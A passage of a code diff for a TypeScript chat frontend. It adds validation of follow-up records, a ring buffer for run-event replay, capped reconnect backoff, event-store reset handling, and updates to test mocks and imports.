updateIsLatest && update.cloudCursor !== null
|
||||
? update.cloudCursor
|
||||
: existing.lastCloudCursor,
|
||||
requestEventId:
|
||||
update.status === 'requested'
|
||||
? existing.requestEventId || update.eventId
|
||||
: existing.requestEventId,
|
||||
requestEventId: requestSuppliesIdentity
|
||||
? update.eventId
|
||||
: existing.requestEventId,
|
||||
requestEventType: requestSuppliesIdentity
|
||||
? update.eventType
|
||||
: existing.requestEventType,
|
||||
requestSource: requestSuppliesIdentity
|
||||
? update.source
|
||||
: existing.requestSource,
|
||||
|
|
|
|||
|
|
@ -76,6 +76,8 @@ export interface HumanControlInteraction {
|
|||
cloudCursor: number | null;
|
||||
lastCloudCursor: number | null;
|
||||
requestEventId?: string;
|
||||
/** Typed event that established the request; legacy ASK mirrors are not command authority. */
|
||||
requestEventType?: string;
|
||||
/** Source lane of the request; only canonical sequences are replay cursors. */
|
||||
requestSource: CanonicalProjectEvent['source'];
|
||||
lastEventId: string;
|
||||
|
|
|
|||
|
|
@ -79,7 +79,37 @@ function basePath(projectId: string): string {
|
|||
return `/projects/${encodeURIComponent(projectId)}/follow-ups`;
|
||||
}
|
||||
|
||||
export function createFollowUpRequest(input: {
|
||||
/**
|
||||
* Validate one durable follow-up record at the transport boundary.
|
||||
*
|
||||
* The list helpers below already guard their array shape. Without the same
|
||||
* guard on single-record reads, an empty or error-shaped body flows out under
|
||||
* a `DurableFollowUpRequest` annotation the runtime never checked, and the
|
||||
* failure surfaces much later as a property access on `undefined`.
|
||||
*/
|
||||
function parseFollowUpRecord(
|
||||
response: unknown,
|
||||
context: string
|
||||
): DurableFollowUpRequest {
|
||||
const record = response as Partial<DurableFollowUpRequest> | null;
|
||||
if (
|
||||
!record ||
|
||||
typeof record !== 'object' ||
|
||||
typeof record.request_id !== 'string' ||
|
||||
!record.request_id ||
|
||||
typeof record.content !== 'string'
|
||||
) {
|
||||
throw new Error(`${context} returned an invalid follow-up record`);
|
||||
}
|
||||
return {
|
||||
...(record as DurableFollowUpRequest),
|
||||
attachment_paths: Array.isArray(record.attachment_paths)
|
||||
? record.attachment_paths
|
||||
: [],
|
||||
};
|
||||
}
|
||||
|
||||
export async function createFollowUpRequest(input: {
|
||||
projectId: string;
|
||||
requestId: string;
|
||||
content: string;
|
||||
|
|
@ -88,7 +118,7 @@ export function createFollowUpRequest(input: {
|
|||
sourceCommandId?: string;
|
||||
}): Promise<DurableFollowUpRequest> {
|
||||
invalidatePendingFollowUps(input.projectId);
|
||||
return fetchPost(basePath(input.projectId), {
|
||||
const response = await fetchPost(basePath(input.projectId), {
|
||||
request_id: input.requestId,
|
||||
content: input.content,
|
||||
attachment_paths: input.attachmentPaths,
|
||||
|
|
@ -96,6 +126,7 @@ export function createFollowUpRequest(input: {
|
|||
source: input.source || 'local',
|
||||
source_command_id: input.sourceCommandId,
|
||||
});
|
||||
return parseFollowUpRecord(response, 'createFollowUpRequest');
|
||||
}
|
||||
|
||||
export async function listPendingRemoteFollowUpRequests(): Promise<
|
||||
|
|
@ -107,12 +138,13 @@ export async function listPendingRemoteFollowUpRequests(): Promise<
|
|||
return Array.isArray(response?.items) ? response.items : [];
|
||||
}
|
||||
|
||||
export function getRemoteFollowUpByCommandId(
|
||||
export async function getRemoteFollowUpByCommandId(
|
||||
sourceCommandId: string
|
||||
): Promise<DurableFollowUpRequest> {
|
||||
return fetchGet(
|
||||
const response = await fetchGet(
|
||||
`/follow-ups/source-command/${encodeURIComponent(sourceCommandId)}`
|
||||
);
|
||||
return parseFollowUpRecord(response, 'getRemoteFollowUpByCommandId');
|
||||
}
|
||||
|
||||
export async function listPendingFollowUpRequests(
|
||||
|
|
@ -135,32 +167,37 @@ export async function listPendingFollowUpRequests(
|
|||
return request;
|
||||
}
|
||||
|
||||
export function prioritizeFollowUpRequest(
|
||||
export async function prioritizeFollowUpRequest(
|
||||
projectId: string,
|
||||
requestId: string
|
||||
): Promise<DurableFollowUpRequest> {
|
||||
invalidatePendingFollowUps(projectId);
|
||||
return fetchPost(
|
||||
const response = await fetchPost(
|
||||
`${basePath(projectId)}/${encodeURIComponent(requestId)}/send-now`
|
||||
);
|
||||
return parseFollowUpRecord(response, 'prioritizeFollowUpRequest');
|
||||
}
|
||||
|
||||
export function cancelFollowUpRequest(
|
||||
export async function cancelFollowUpRequest(
|
||||
projectId: string,
|
||||
requestId: string
|
||||
): Promise<DurableFollowUpRequest> {
|
||||
invalidatePendingFollowUps(projectId);
|
||||
return fetchDelete(`${basePath(projectId)}/${encodeURIComponent(requestId)}`);
|
||||
const response = await fetchDelete(
|
||||
`${basePath(projectId)}/${encodeURIComponent(requestId)}`
|
||||
);
|
||||
return parseFollowUpRecord(response, 'cancelFollowUpRequest');
|
||||
}
|
||||
|
||||
export function markFollowUpRequestAdmitted(
|
||||
export async function markFollowUpRequestAdmitted(
|
||||
projectId: string,
|
||||
requestId: string,
|
||||
runId: string
|
||||
): Promise<DurableFollowUpRequest> {
|
||||
invalidatePendingFollowUps(projectId);
|
||||
return fetchPost(
|
||||
const response = await fetchPost(
|
||||
`${basePath(projectId)}/${encodeURIComponent(requestId)}/admitted`,
|
||||
{ run_id: runId }
|
||||
);
|
||||
return parseFollowUpRecord(response, 'markFollowUpRequestAdmitted');
|
||||
}
|
||||
|
|
|
|||
|
|
@ -261,7 +261,12 @@ async function readRunEvents(
|
|||
}
|
||||
): Promise<{ lastSequence: number; truncated: boolean }> {
|
||||
let cursor = input.afterSequence;
|
||||
// Ring buffer over the newest `retainLimit` events. `retainStart` is the
|
||||
// oldest slot once the buffer is full; it stays 0 while it is still filling.
|
||||
// The caller guarantees retainLimit >= 1 (it skips Runs with no remaining
|
||||
// budget), so the modulo below is always well defined.
|
||||
const retainedEvents: CanonicalProjectEvent[] = [];
|
||||
let retainStart = 0;
|
||||
let truncated = false;
|
||||
|
||||
while (true) {
|
||||
|
|
@ -385,9 +390,13 @@ async function readRunEvents(
|
|||
input.budget.scannedEvents += 1;
|
||||
input.budget.bytes += bytes;
|
||||
// The hydrated projection never needs to retain the transport envelope.
|
||||
retainedEvents.push({ ...event, raw: null });
|
||||
if (retainedEvents.length > input.retainLimit) {
|
||||
retainedEvents.shift();
|
||||
// Retain the newest tail in a ring so a long Run does not pay a shift()
|
||||
// per event once the retain limit is reached.
|
||||
if (retainedEvents.length < input.retainLimit) {
|
||||
retainedEvents.push({ ...event, raw: null });
|
||||
} else {
|
||||
retainedEvents[retainStart] = { ...event, raw: null };
|
||||
retainStart = (retainStart + 1) % input.retainLimit;
|
||||
truncated = true;
|
||||
}
|
||||
}
|
||||
|
|
@ -401,7 +410,11 @@ async function readRunEvents(
|
|||
invalidResponse('Run event replay returned an invalid next_sequence');
|
||||
}
|
||||
if (response.has_more !== true) {
|
||||
input.events.push(...retainedEvents);
|
||||
// Unroll the ring back into ascending sequence order before publishing.
|
||||
input.events.push(
|
||||
...retainedEvents.slice(retainStart),
|
||||
...retainedEvents.slice(0, retainStart)
|
||||
);
|
||||
input.budget.events += retainedEvents.length;
|
||||
return { lastSequence, truncated };
|
||||
}
|
||||
|
|
|
|||
|
|
@ -23,6 +23,12 @@ import {
|
|||
|
||||
const DEFAULT_MAX_LIVE_RUN_STREAMS = 4;
|
||||
const DEFAULT_RECONNECT_DELAY_MS = 1_000;
|
||||
/**
|
||||
* Ceiling for exponential reconnect backoff. Without it, an endpoint that is
|
||||
* permanently unavailable (backend down, Run deleted server-side) produced one
|
||||
* request per second per stream forever.
|
||||
*/
|
||||
const MAX_RECONNECT_DELAY_MS = 30_000;
|
||||
|
||||
const LIVE_RUN_STATUSES = new Set<ProjectedRun['status']>([
|
||||
'pending',
|
||||
|
|
@ -265,6 +271,7 @@ export class ProjectRunEventStreamOwner {
|
|||
}
|
||||
|
||||
private async consumeStream(stream: LiveRunStream): Promise<void> {
|
||||
let consecutiveFailures = 0;
|
||||
while (
|
||||
!this.disposed &&
|
||||
!stream.controller.signal.aborted &&
|
||||
|
|
@ -272,6 +279,7 @@ export class ProjectRunEventStreamOwner {
|
|||
this.streams.get(stream.runId) === stream
|
||||
) {
|
||||
const url = `/runs/${encodeURIComponent(stream.runId)}/stream?after_sequence=${stream.cursor}`;
|
||||
const cursorBeforeAttempt = stream.cursor;
|
||||
try {
|
||||
await this.transport({
|
||||
url,
|
||||
|
|
@ -313,7 +321,17 @@ export class ProjectRunEventStreamOwner {
|
|||
) {
|
||||
break;
|
||||
}
|
||||
await waitForReconnect(stream.controller.signal, this.reconnectDelayMs);
|
||||
// Any forward progress means the connection is healthy, so reset the
|
||||
// backoff; only repeated no-progress attempts are throttled.
|
||||
consecutiveFailures =
|
||||
stream.cursor > cursorBeforeAttempt ? 0 : consecutiveFailures + 1;
|
||||
await waitForReconnect(
|
||||
stream.controller.signal,
|
||||
Math.min(
|
||||
this.reconnectDelayMs * 2 ** Math.max(0, consecutiveFailures - 1),
|
||||
MAX_RECONNECT_DELAY_MS
|
||||
)
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
|
|
|
|||
|
|
@ -28,13 +28,16 @@ export type ChatEventProjectionInput = {
|
|||
};
|
||||
|
||||
/**
|
||||
* Shadowing defaults on in development and remains opt-in in packaged builds
|
||||
* until semantic parity has been measured. The future renderer cutover gets a
|
||||
* separate flag; transport ingestion must stay centralized here.
|
||||
* Shadowing is opt-in everywhere, including development.
|
||||
*
|
||||
* It was previously on for every dev build. Shadow ingestion builds a full
|
||||
* parallel per-Project event store (multi-megabyte queue, legacy and chat
|
||||
* budgets) that no visible UI reads while the timeline flag is off, so paying
|
||||
* that cost in every dev session is not worth the parity signal. Set
|
||||
* VITE_CHATBOX_EVENT_SHADOW=true to measure parity.
|
||||
*/
|
||||
export function isChatEventProjectionEnabled(): boolean {
|
||||
return (
|
||||
import.meta.env.DEV ||
|
||||
import.meta.env.VITE_CHATBOX_EVENT_SHADOW === 'true' ||
|
||||
// The visible read path still needs the legacy /chat source bridge while
|
||||
// the canonical companion owns typed Run events. Keep the flags
|
||||
|
|
@ -52,19 +55,34 @@ export function isChatEventTimelineEnabled(): boolean {
|
|||
return import.meta.env.VITE_CHATBOX_EVENT_BUS === 'true';
|
||||
}
|
||||
|
||||
/**
|
||||
* Outcome of one ingest attempt.
|
||||
*
|
||||
* `overflowed` is deliberately distinct from `disabled`/`rejected`: it means
|
||||
* the store dropped its queue and entered needsResync, which also suspends the
|
||||
* canonical live streams until a fresh snapshot commits. Collapsing it into a
|
||||
* bare `false` hides a recoverable-but-degraded state behind the same value as
|
||||
* "the feature is switched off".
|
||||
*/
|
||||
export type ChatEventProjectionOutcome =
|
||||
| 'accepted'
|
||||
| 'disabled'
|
||||
| 'rejected'
|
||||
| 'overflowed';
|
||||
|
||||
/** Never allow migration projection failures to affect the legacy UI path. */
|
||||
export function enqueueChatEventProjection(
|
||||
input: ChatEventProjectionInput,
|
||||
enabled = isChatEventProjectionEnabled()
|
||||
): boolean {
|
||||
if (!enabled || !input.projectId) return false;
|
||||
): ChatEventProjectionOutcome {
|
||||
if (!enabled || !input.projectId) return 'disabled';
|
||||
if (
|
||||
input.transport === 'legacy_chat' &&
|
||||
(!input.raw ||
|
||||
typeof input.raw !== 'object' ||
|
||||
typeof (input.raw as { step?: unknown }).step !== 'string')
|
||||
) {
|
||||
return false;
|
||||
return 'rejected';
|
||||
}
|
||||
|
||||
try {
|
||||
|
|
@ -77,11 +95,13 @@ export function enqueueChatEventProjection(
|
|||
sequence: input.sequence,
|
||||
sourceId: input.sourceId,
|
||||
});
|
||||
return getProjectEventStore(input.projectId).enqueue(event);
|
||||
const store = getProjectEventStore(input.projectId);
|
||||
if (store.enqueue(event)) return 'accepted';
|
||||
return store.getSnapshot().overflowed ? 'overflowed' : 'rejected';
|
||||
} catch (error) {
|
||||
if (import.meta.env.DEV) {
|
||||
console.warn('[ChatEventProjection] Shadow event was rejected', error);
|
||||
}
|
||||
return false;
|
||||
return 'rejected';
|
||||
}
|
||||
}
|
||||
|
|
|
|||
|
|
@ -1,43 +0,0 @@
|
|||
// ========= Copyright 2025-2026 @ Eigent.ai All Rights Reserved. =========
|
||||
// Licensed under the Apache License, Version 2.0 (the "License");
|
||||
// you may not use this file except in compliance with the License.
|
||||
// You may obtain a copy of the License at
|
||||
//
|
||||
// http://www.apache.org/licenses/LICENSE-2.0
|
||||
//
|
||||
// Unless required by applicable law or agreed to in writing, software
|
||||
// distributed under the License is distributed on an "AS IS" BASIS,
|
||||
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
// See the License for the specific language governing permissions and
|
||||
// limitations under the License.
|
||||
// ========= Copyright 2025-2026 @ Eigent.ai All Rights Reserved. =========
|
||||
|
||||
import { beforeEach, describe, expect, it, vi } from 'vitest';
|
||||
import { usePageTabStore } from './pageTabStore';
|
||||
|
||||
describe('pageTabStore side-panel viewport selection', () => {
|
||||
beforeEach(() => {
|
||||
usePageTabStore.setState({
|
||||
sidePanelManualUntilByProject: {},
|
||||
sidePanelSelectedTurnByProject: {},
|
||||
sidePanelViewedTurnByProject: {},
|
||||
});
|
||||
});
|
||||
|
||||
it('does not publish duplicate state for repeated observer callbacks', () => {
|
||||
const listener = vi.fn();
|
||||
const unsubscribe = usePageTabStore.subscribe(listener);
|
||||
|
||||
usePageTabStore
|
||||
.getState()
|
||||
.setSidePanelViewedTurn('project_one', 'task_one');
|
||||
expect(listener).toHaveBeenCalledTimes(1);
|
||||
|
||||
usePageTabStore
|
||||
.getState()
|
||||
.setSidePanelViewedTurn('project_one', 'task_one');
|
||||
expect(listener).toHaveBeenCalledTimes(1);
|
||||
|
||||
unsubscribe();
|
||||
});
|
||||
});
|
||||
|
|
@ -241,6 +241,39 @@ function estimateChatNodeBytes(
|
|||
return bytes;
|
||||
}
|
||||
|
||||
/**
|
||||
* Retain the newest `max` dedupe ids.
|
||||
*
|
||||
* This relies on `Object.keys` returning plain string keys in insertion order,
|
||||
* which holds for every id the system currently mints (uuid4, `chat_step_v1:…`,
|
||||
* `assistant-final:…`). It would NOT hold for an integer-like id such as
|
||||
* `"1042"`: V8 emits those first in ascending numeric order regardless of
|
||||
* insertion, so eviction would drop arbitrary ids and weaken dedupe rather than
|
||||
* dropping the oldest. Guard the invariant in dev so a future id scheme cannot
|
||||
* regress this silently.
|
||||
*/
|
||||
function retainNewestEventIds(
|
||||
seenEventIds: Record<string, true>,
|
||||
max: number
|
||||
): string[] {
|
||||
const eventIds = Object.keys(seenEventIds);
|
||||
if (import.meta.env.DEV && eventIds.length > max) {
|
||||
const integerLike = eventIds.find((eventId) =>
|
||||
/^(0|[1-9]\d*)$/.test(eventId)
|
||||
);
|
||||
if (integerLike !== undefined) {
|
||||
console.warn(
|
||||
'[ProjectEventStore] Integer-like event id breaks insertion-order ' +
|
||||
'eviction; dedupe may drop the wrong ids',
|
||||
{ eventId: integerLike }
|
||||
);
|
||||
}
|
||||
}
|
||||
return eventIds.length > max
|
||||
? eventIds.slice(eventIds.length - max)
|
||||
: eventIds;
|
||||
}
|
||||
|
||||
function compactView(
|
||||
view: ProjectViewState,
|
||||
maxSeenEventIds: number,
|
||||
|
|
@ -249,10 +282,10 @@ function compactView(
|
|||
maxLegacyBytes: number
|
||||
): ProjectViewState {
|
||||
const eventIds = Object.keys(view.seenEventIds);
|
||||
const retainedEventIds =
|
||||
eventIds.length > maxSeenEventIds
|
||||
? eventIds.slice(eventIds.length - maxSeenEventIds)
|
||||
: eventIds;
|
||||
const retainedEventIds = retainNewestEventIds(
|
||||
view.seenEventIds,
|
||||
maxSeenEventIds
|
||||
);
|
||||
const seenEventIds =
|
||||
retainedEventIds.length === eventIds.length
|
||||
? view.seenEventIds
|
||||
|
|
@ -301,10 +334,10 @@ function compactChatProjection(
|
|||
maxUnknownEvents: number
|
||||
): ChatProjectionState {
|
||||
const eventIds = Object.keys(state.seenEventIds);
|
||||
const retainedEventIds =
|
||||
eventIds.length > maxSeenEventIds
|
||||
? eventIds.slice(eventIds.length - maxSeenEventIds)
|
||||
: eventIds;
|
||||
const retainedEventIds = retainNewestEventIds(
|
||||
state.seenEventIds,
|
||||
maxSeenEventIds
|
||||
);
|
||||
const seenEventIds =
|
||||
retainedEventIds.length === eventIds.length
|
||||
? state.seenEventIds
|
||||
|
|
@ -531,6 +564,7 @@ export class ProjectEventStore {
|
|||
private queueBytes = 0;
|
||||
private cancelScheduledFlush: CancelScheduledFlush | null = null;
|
||||
private disposed = false;
|
||||
private incarnation = 0;
|
||||
private snapshotReplacementGeneration = 0;
|
||||
private activeSnapshotReplacement: {
|
||||
generation: number;
|
||||
|
|
@ -620,6 +654,10 @@ export class ProjectEventStore {
|
|||
|
||||
getControlSnapshot = (): HumanControlProjectionState => this.snapshot.control;
|
||||
|
||||
getIncarnation(): number {
|
||||
return this.incarnation;
|
||||
}
|
||||
|
||||
getPendingEventCount(): number {
|
||||
return this.queue.length;
|
||||
}
|
||||
|
|
@ -899,6 +937,24 @@ export class ProjectEventStore {
|
|||
);
|
||||
}
|
||||
|
||||
/** Clear one runtime projection while preserving same-id subscribers. */
|
||||
reset(): void {
|
||||
if (this.disposed) return;
|
||||
this.cancelScheduledFlush?.();
|
||||
this.cancelScheduledFlush = null;
|
||||
this.activeSnapshotReplacement = null;
|
||||
this.clearQueue();
|
||||
this.incarnation += 1;
|
||||
this.publish(
|
||||
createProjectViewState(this.projectId, this.mode),
|
||||
createChatProjectionState(this.projectId),
|
||||
createHumanControlProjectionState(this.projectId),
|
||||
[],
|
||||
false,
|
||||
false
|
||||
);
|
||||
}
|
||||
|
||||
dispose(): void {
|
||||
if (this.disposed) return;
|
||||
this.disposed = true;
|
||||
|
|
@ -1033,6 +1089,11 @@ export function getProjectEventStore(
|
|||
return created;
|
||||
}
|
||||
|
||||
/** Reset an overwritten same-id Project without stranding mounted consumers. */
|
||||
export function resetProjectEventStore(projectId: string): void {
|
||||
projectEventStores.get(projectId)?.reset();
|
||||
}
|
||||
|
||||
export function releaseProjectEventStore(projectId: string): void {
|
||||
const store = projectEventStores.get(projectId);
|
||||
if (!store) return;
|
||||
|
|
|
|||
|
|
@ -43,7 +43,10 @@ import {
|
|||
type DurableRunDisplayStatus,
|
||||
} from './chatStore';
|
||||
import { usePageTabStore } from './pageTabStore';
|
||||
import { releaseProjectEventStore } from './projectEventStore';
|
||||
import {
|
||||
releaseProjectEventStore,
|
||||
resetProjectEventStore,
|
||||
} from './projectEventStore';
|
||||
import {
|
||||
projectMetaFromServer,
|
||||
useSpaceStore,
|
||||
|
|
@ -391,7 +394,10 @@ interface ProjectStore {
|
|||
setProjectSpace: (projectId: string, spaceId: string) => void;
|
||||
upsertProjectsFromServer: (serverProjects: ServerProject[]) => void;
|
||||
cleanupAutoCreatedEmptyProjects: () => void;
|
||||
removeProject: (projectId: string) => void;
|
||||
removeProject: (
|
||||
projectId: string,
|
||||
options?: { preserveEventStore?: boolean }
|
||||
) => void;
|
||||
updateProject: (
|
||||
projectId: string,
|
||||
updates: Partial<Omit<Project, 'id' | 'createdAt'>>
|
||||
|
|
@ -909,6 +915,12 @@ const projectStore = create<ProjectStore>()((set, get) => ({
|
|||
};
|
||||
});
|
||||
|
||||
// Publish Project removal before disposing its event-store subscribers so
|
||||
// mounted consumers are already scheduled to unmount from this runtime.
|
||||
for (const projectId of projectIdsToRemove) {
|
||||
releaseProjectEventStore(projectId);
|
||||
}
|
||||
|
||||
console.warn(
|
||||
`[ProjectStore] Removed ${projectIdsToRemove.length} auto-created empty Project(s).`
|
||||
);
|
||||
|
|
@ -1156,7 +1168,10 @@ const projectStore = create<ProjectStore>()((set, get) => ({
|
|||
get()._evictProjectRuntime(previousProjectId);
|
||||
},
|
||||
|
||||
removeProject: (projectId: string) => {
|
||||
removeProject: (
|
||||
projectId: string,
|
||||
options?: { preserveEventStore?: boolean }
|
||||
) => {
|
||||
const { activeProjectId, projects } = get();
|
||||
|
||||
if (!projects[projectId]) {
|
||||
|
|
@ -1186,7 +1201,11 @@ const projectStore = create<ProjectStore>()((set, get) => ({
|
|||
staleProjectIds: nextStale,
|
||||
};
|
||||
});
|
||||
releaseProjectEventStore(projectId);
|
||||
if (options?.preserveEventStore) {
|
||||
resetProjectEventStore(projectId);
|
||||
} else {
|
||||
releaseProjectEventStore(projectId);
|
||||
}
|
||||
usePageTabStore.getState().removeSessionPreviewProject(projectId);
|
||||
useSpaceStore.getState().removeProjectMeta(projectId);
|
||||
},
|
||||
|
|
@ -1253,7 +1272,7 @@ const projectStore = create<ProjectStore>()((set, get) => ({
|
|||
if (projectId) {
|
||||
if (projects[projectId]) {
|
||||
console.log(`[ProjectStore] Overwriting existing project ${projectId}`);
|
||||
removeProject(projectId);
|
||||
removeProject(projectId, { preserveEventStore: true });
|
||||
}
|
||||
// Create project with the specific naming
|
||||
replayProjectId = createProject(
|
||||
|
|
@ -1358,7 +1377,7 @@ const projectStore = create<ProjectStore>()((set, get) => ({
|
|||
console.log(
|
||||
`[ProjectStore] Overwriting existing project ${projectId} for load`
|
||||
);
|
||||
removeProject(projectId);
|
||||
removeProject(projectId, { preserveEventStore: true });
|
||||
}
|
||||
|
||||
const loadProjectId = createProject(
|
||||
|
|
|
|||
|
|
@ -19,7 +19,7 @@ import { vi } from 'vitest';
|
|||
// Mock react-i18next
|
||||
vi.mock('react-i18next', () => ({
|
||||
useTranslation: () => ({
|
||||
t: (key: string) => {
|
||||
t: (key: string, options: Record<string, unknown> = {}) => {
|
||||
// Map translation keys to English text
|
||||
const translations: Record<string, string> = {
|
||||
'chat.welcome-to-eigent': 'Welcome to Eigent',
|
||||
|
|
@ -40,8 +40,23 @@ vi.mock('react-i18next', () => ({
|
|||
'Please Help Organize My Desktop',
|
||||
'chat.no-reply-received-task-continue':
|
||||
'No reply received, task will continue',
|
||||
'chat.repeated-tool-events': '{{tool}} · {{count}} events',
|
||||
'chat.repeated-tool-calls-label': 'Repeated tool calls: {{tool}}',
|
||||
'chat.repeated-tool-failed': '{{count}} failed',
|
||||
'chat.repeated-tool-completed-progress':
|
||||
'{{completed}}/{{count}} completed',
|
||||
'chat.repeated-tool-cancelled': '{{count}} cancelled',
|
||||
'chat.tool-status-completed': 'Completed',
|
||||
'chat.tool-status-failed': 'Failed',
|
||||
'chat.tool-status-cancelled': 'Cancelled',
|
||||
'chat.tool-status-running': 'Running',
|
||||
'chat.tool-status-pending': 'Pending',
|
||||
'chat.tool-status-unknown': 'Unknown',
|
||||
};
|
||||
return translations[key] || key;
|
||||
return (translations[key] || String(options.defaultValue || key)).replace(
|
||||
/{{(\w+)}}/g,
|
||||
(_match, name: string) => String(options[name] ?? '')
|
||||
);
|
||||
},
|
||||
i18n: {
|
||||
language: 'en',
|
||||
|
|
|
|||
|
|
@ -12,11 +12,11 @@
|
|||
// limitations under the License.
|
||||
// ========= Copyright 2025-2026 @ Eigent.ai All Rights Reserved. =========
|
||||
|
||||
import BottomBox, { type BottomBoxProps } from '@/components/ChatBox/BottomBox';
|
||||
import { fireEvent, render, screen, within } from '@testing-library/react';
|
||||
import { describe, expect, it, vi } from 'vitest';
|
||||
import BottomBox, { type BottomBoxProps } from '.';
|
||||
|
||||
vi.mock('./BoxFooter', () => ({
|
||||
vi.mock('@/components/ChatBox/BottomBox/BoxFooter', () => ({
|
||||
BoxFooter: ({ disabled }: { disabled?: boolean }) => (
|
||||
<div
|
||||
data-testid="project-setup-footer"
|
||||
|
|
@ -25,13 +25,50 @@ vi.mock('./BoxFooter', () => ({
|
|||
),
|
||||
}));
|
||||
|
||||
vi.mock('./InputBox', () => ({
|
||||
Inputbox: ({ value }: { value?: string }) => (
|
||||
<div data-testid="text-composer">{value}</div>
|
||||
vi.mock('@/components/ChatBox/BottomBox/InputBox', () => ({
|
||||
Inputbox: ({
|
||||
value,
|
||||
files = [],
|
||||
header,
|
||||
onFilesChange,
|
||||
}: {
|
||||
value?: string;
|
||||
files?: { fileName: string; filePath: string }[];
|
||||
header?: {
|
||||
eyebrow?: string;
|
||||
title?: string;
|
||||
description?: string;
|
||||
};
|
||||
onFilesChange?: (files: { fileName: string; filePath: string }[]) => void;
|
||||
}) => (
|
||||
<div data-testid="text-composer">
|
||||
{header && (header.eyebrow || header.title || header.description) ? (
|
||||
<section data-bottom-box-header>
|
||||
{header.eyebrow}
|
||||
{header.title}
|
||||
{header.description}
|
||||
</section>
|
||||
) : null}
|
||||
{value}
|
||||
{files.map((file) => (
|
||||
<div key={file.filePath}>
|
||||
{file.fileName}
|
||||
<button
|
||||
type="button"
|
||||
aria-label={`Remove ${file.fileName}`}
|
||||
onClick={() =>
|
||||
onFilesChange?.(
|
||||
files.filter((item) => item.filePath !== file.filePath)
|
||||
)
|
||||
}
|
||||
/>
|
||||
</div>
|
||||
))}
|
||||
</div>
|
||||
),
|
||||
}));
|
||||
|
||||
vi.mock('./PickerPanel', () => ({
|
||||
vi.mock('@/components/ChatBox/BottomBox/PickerPanel', () => ({
|
||||
ConnectorPickerPanel: () => <div />,
|
||||
SkillPickerPanel: () => <div />,
|
||||
}));
|
||||
|
|
@ -59,7 +96,6 @@ describe('BottomBox structure', () => {
|
|||
const root = container.querySelector('[data-bottom-box]');
|
||||
const query = container.querySelector('[data-bottom-box-query]');
|
||||
const main = container.querySelector('[data-bottom-box-main]');
|
||||
const header = container.querySelector('[data-bottom-box-header]');
|
||||
const input = container.querySelector('[data-bottom-box-input]');
|
||||
const footer = container.querySelector('[data-bottom-box-footer]');
|
||||
|
||||
|
|
@ -67,10 +103,12 @@ describe('BottomBox structure', () => {
|
|||
expect(query).toBeInTheDocument();
|
||||
expect(main).toBeInTheDocument();
|
||||
expect(root?.firstElementChild).toBe(query);
|
||||
expect(main).toContainElement(header);
|
||||
expect(main).toContainElement(input);
|
||||
expect(main).toContainElement(footer);
|
||||
expect(input).toHaveAttribute('data-variant', 'input');
|
||||
expect(
|
||||
main?.querySelector(':scope > [data-bottom-box-header]')
|
||||
).not.toBeInTheDocument();
|
||||
expect(screen.getByTestId('text-composer')).toHaveTextContent(
|
||||
'Draft query'
|
||||
);
|
||||
|
|
@ -81,6 +119,34 @@ describe('BottomBox structure', () => {
|
|||
expect(onFilesChange).toHaveBeenCalledWith([]);
|
||||
});
|
||||
|
||||
it('renders the composer question inside InputBox instead of BoxHeader', () => {
|
||||
const { container } = render(
|
||||
<BottomBox
|
||||
state="input"
|
||||
variant={{
|
||||
kind: 'input',
|
||||
header: {
|
||||
eyebrow: 'Input required',
|
||||
title: 'Which format should I use?',
|
||||
},
|
||||
}}
|
||||
inputProps={{ value: 'PDF' }}
|
||||
{...footerProps}
|
||||
/>
|
||||
);
|
||||
|
||||
const main = container.querySelector('[data-bottom-box-main]');
|
||||
const input = container.querySelector('[data-bottom-box-input]');
|
||||
const header = input?.querySelector('[data-bottom-box-header]');
|
||||
|
||||
expect(
|
||||
main?.querySelector(':scope > [data-bottom-box-header]')
|
||||
).not.toBeInTheDocument();
|
||||
expect(header).toBeInTheDocument();
|
||||
expect(header).toHaveTextContent('Input required');
|
||||
expect(header).toHaveTextContent('Which format should I use?');
|
||||
});
|
||||
|
||||
it('routes a confirmation request and keeps the project footer mounted', () => {
|
||||
const onConfirm = vi.fn();
|
||||
const onReject = vi.fn();
|
||||
|
|
@ -15,7 +15,7 @@
|
|||
import { fireEvent, render, screen } from '@testing-library/react';
|
||||
import { describe, expect, it, vi } from 'vitest';
|
||||
|
||||
import { QueuedBox } from './QueuedBox';
|
||||
import { QueuedBox } from '@/components/ChatBox/BottomBox/QueuedBox';
|
||||
|
||||
vi.mock('react-i18next', () => ({
|
||||
useTranslation: () => ({
|
||||
|
|
@ -12,17 +12,17 @@
|
|||
// limitations under the License.
|
||||
// ========= Copyright 2025-2026 @ Eigent.ai All Rights Reserved. =========
|
||||
|
||||
import {
|
||||
getStableDecisionRequestId,
|
||||
STABLE_DECISION_REQUEST_ID_CACHE_LIMIT,
|
||||
useEventNativeHumanControl,
|
||||
} from '@/components/ChatBox/BottomBox/useEventNativeHumanControl';
|
||||
import type {
|
||||
HumanControlInteraction,
|
||||
HumanControlProjectionState,
|
||||
} from '@/lib/projector/control';
|
||||
import { act, renderHook, waitFor } from '@testing-library/react';
|
||||
import { beforeEach, describe, expect, it, vi } from 'vitest';
|
||||
import {
|
||||
getStableDecisionRequestId,
|
||||
STABLE_DECISION_REQUEST_ID_CACHE_LIMIT,
|
||||
useEventNativeHumanControl,
|
||||
} from './useEventNativeHumanControl';
|
||||
|
||||
const mocks = vi.hoisted(() => ({
|
||||
projection: null as HumanControlProjectionState | null,
|
||||
|
|
@ -24,8 +24,9 @@ import { beforeEach, describe, expect, it, vi } from 'vitest';
|
|||
|
||||
import {
|
||||
EventNativeProjectTimeline,
|
||||
isChatTimelineNearBottom,
|
||||
prepareEventNativeTimelineWindow,
|
||||
} from './EventNativeProjectTimeline';
|
||||
} from '@/components/ChatBox/EventNativeProjectTimeline';
|
||||
|
||||
const mocks = vi.hoisted(() => ({
|
||||
projection: null as ChatProjectionState | null,
|
||||
|
|
@ -42,8 +43,28 @@ vi.mock('@/hooks/useProjectEventView', () => ({
|
|||
vi.mock('@/hooks/useProjectEventStoreHydration', () => ({
|
||||
useProjectEventStoreHydration: () => mocks.hydration,
|
||||
}));
|
||||
vi.mock('framer-motion', async (importOriginal) => {
|
||||
const actual = await importOriginal<typeof import('framer-motion')>();
|
||||
return {
|
||||
...actual,
|
||||
animate: vi.fn(
|
||||
(
|
||||
_from: number,
|
||||
to: number,
|
||||
options: { onComplete?: () => void; onUpdate?: (value: number) => void }
|
||||
) => {
|
||||
options.onUpdate?.(to);
|
||||
options.onComplete?.();
|
||||
return { stop: vi.fn() };
|
||||
}
|
||||
),
|
||||
};
|
||||
});
|
||||
|
||||
